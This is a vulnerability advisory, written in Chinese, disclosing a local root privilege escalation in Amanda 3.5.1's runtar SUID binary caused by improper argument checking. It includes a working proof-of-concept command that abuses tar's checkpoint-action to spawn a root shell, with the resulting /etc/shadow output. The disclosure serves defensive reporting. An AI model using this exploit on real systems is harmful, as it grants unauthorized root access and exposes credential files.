[建议的描述]
在 Amanda 3.5.1 中发现了一个权限提升漏洞,可以将备份用户提升到 root 权限。易受攻击的组件是 runtar SUID,它只是一个包装器,用于运行带有特定参数的 /usr/bin/tar,这些参数可由攻击者控制。该程序未正确检查传递给 tar 二进制文件的参数(它假定所有参数都应类似于 --ARG VALUE,但我们可以提供类似 --ARG=VALUE 的单个参数)。
[附加信息]
此漏洞可用于代码执行、拒绝服务、权限提升和信息泄露。
以下是利用它并获得 root shell 的 PoC:
backup@maher:/lib/amanda$ id
uid=34(backup) gid=34(backup) groups=34(backup),6(disk),26(tape)backup@maher:/lib/amanda$ head /etc/shadow
head: cannot open '/etc/shadow' for reading: Permission deniedbackup@maher:/lib/amanda$ ./runtar NOCONFIG tar --create --file=/dev/null --checkpoint=1 --directory=. --checkpoint-action=exec=/bin/sh /dev/null
tar: Removing leading `/' from member nameshead /etc/shadow
root:!:19132:0:99999:7:::
daemon::19101:0:99999:7:::
bin::19101:0:99999:7:::
sys::19101:0:99999:7:::
sync::19101:0:99999:7:::
games::19101:0:99999:7:::
man::19101:0:99999:7:::
lp::19101:0:99999:7:::
mail::19101:0:99999:7:::
news:*:19101:0:99999:7:::
[漏洞类型 其他]
参数检查缺陷。
[产品供应商]
Amanda
[受影响的产品代码库]
runtar - 3.5.1
[受影响组件]
受影响的 SUID 二进制文件为:runtar
受影响的文件为:runtar.c
受影响代码从第 162 行开始。
[攻击类型]
本地
[影响 代码执行]
true
[影响 拒绝服务]
true
[影响 权限提升]
true
[影响 信息泄露]
true
[攻击向量]
要利用该二进制文件,只需向 runtar SUID 二进制文件提供精心构造的参数即可提升到 root 权限。
[发现者]
Maher Azzouzi